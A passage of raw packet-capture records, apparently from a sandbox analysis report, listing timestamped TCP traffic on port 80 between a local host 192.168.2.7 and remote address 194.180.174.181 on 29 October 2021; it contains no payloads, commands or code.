Oct 29, 2021 15:32:12.941570044 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941607952 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941701889 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.941731930 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941750050 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.941792011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941828012 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941847086 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.941886902 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941935062 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.941951990 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.941992044 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942035913 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942045927 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942085028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942126036 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942137003 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942174911 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942219973 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942230940 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942269087 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942308903 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942332983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942368984 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942409039 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942425013 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942464113 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942491055 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942507982 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942548037 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942584038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942600012 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942639112 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942682981 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942692995 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942730904 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942773104 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942784071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942822933 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942874908 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942893028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942930937 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.942967892 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.942985058 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943022013 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943058014 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943074942 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943110943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943155050 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943166971 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943205118 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943242073 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943259001 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943298101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943334103 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943355083 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943389893 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943433046 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943468094 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943511963 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943550110 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943567038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943603992 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943645954 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943655968 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943694115 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943738937 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943748951 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.943792105 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.943831921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.990530968 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990592957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990632057 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990669966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990709066 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990746975 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.990786076 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.990827084 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.994364023 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.192431927 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.238868952 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238904953 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238920927 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238934994 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238955021 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238970041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.238991976 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239012003 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239029884 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239051104 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239068985 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239090919 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239104033 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239129066 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239149094 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239162922 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239181042 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239202976 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239213943 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239233971 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239254951 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239267111 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239284992 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239298105 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239315987 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239337921 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239358902 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239370108 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239389896 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239409924 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239428043 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239438057 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239458084 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239470959 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239489079 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239507914 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239518881 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239538908 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239557028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239579916 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239599943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239619970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239629984 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239650011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239667892 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239680052 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239697933 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239717960 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239727974 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239747047 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239767075 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239792109 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239804029 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239830971 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239842892 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239865065 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239883900 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239893913 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239913940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239932060 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239943981 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239962101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.239980936 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.239993095 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.240015984 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.240036011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.240139008 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.240144014 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.286791086 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286824942 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286838055 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286849976 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286861897 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286873102 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286885977 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286904097 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286916018 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286932945 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286947966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286964893 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.286982059 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.286993980 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287014961 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287030935 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287043095 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287058115 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287069082 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287071943 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287081957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287097931 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287108898 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287121058 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287134886 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287137985 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287144899 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287161112 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287174940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287187099 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287199020 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287208080 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287223101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287236929 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287246943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287262917 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287278891 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287292957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287302971 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287316084 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287324905 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287338972 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287353992 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287364960 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287375927 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287390947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287410021 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287412882 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287431002 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287436962 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287451982 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287467003 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287477016 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287488937 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287503958 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287513971 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287527084 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287540913 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287552118 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287564039 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287579060 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287581921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287587881 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287602901 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287615061 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287626028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287641048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.287652016 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.287710905 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.334444046 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334495068 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334531069 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334566116 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334599972 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334624052 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.334650993 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.334682941 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334718943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334737062 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.334773064 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334815025 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334836960 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.334872007 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.334909916 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.540718079 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.586945057 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.586975098 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.586987972 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.586999893 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587016106 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587027073 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587043047 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587061882 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587079048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587094069 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587110043 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587132931 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587137938 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587157965 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587183952 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587407112 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587424994 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587440014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587455034 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587465048 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587480068 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587487936 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587506056 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587521076 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587537050 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587546110 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587562084 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587568045 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587584019 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587599993 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587609053 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587622881 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587639093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587655067 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587671041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587687016 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587694883 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587709904 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587726116 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587734938 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587749958 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587765932 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587774038 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587789059 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587805033 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587814093 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587829113 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587846041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587853909 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587869883 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587884903 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587899923 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587908030 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587922096 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587929010 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587945938 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587960958 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.587970972 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.587984085 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588000059 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588007927 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.588022947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588033915 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.588047028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588062048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588078022 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.588085890 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.588120937 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.633693933 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633725882 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633738995 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633764982 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633783102 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633797884 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633811951 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633826971 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633841038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633857012 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633871078 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.633884907 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.633902073 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.633917093 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634125948 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634143114 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634172916 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634180069 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634196997 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634218931 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634239912 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634255886 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634272099 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634279966 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634295940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634318113 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634470940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634514093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634520054 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634536028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634551048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634576082 CEST	49863	80	192.168.2.7	194.180.174.181
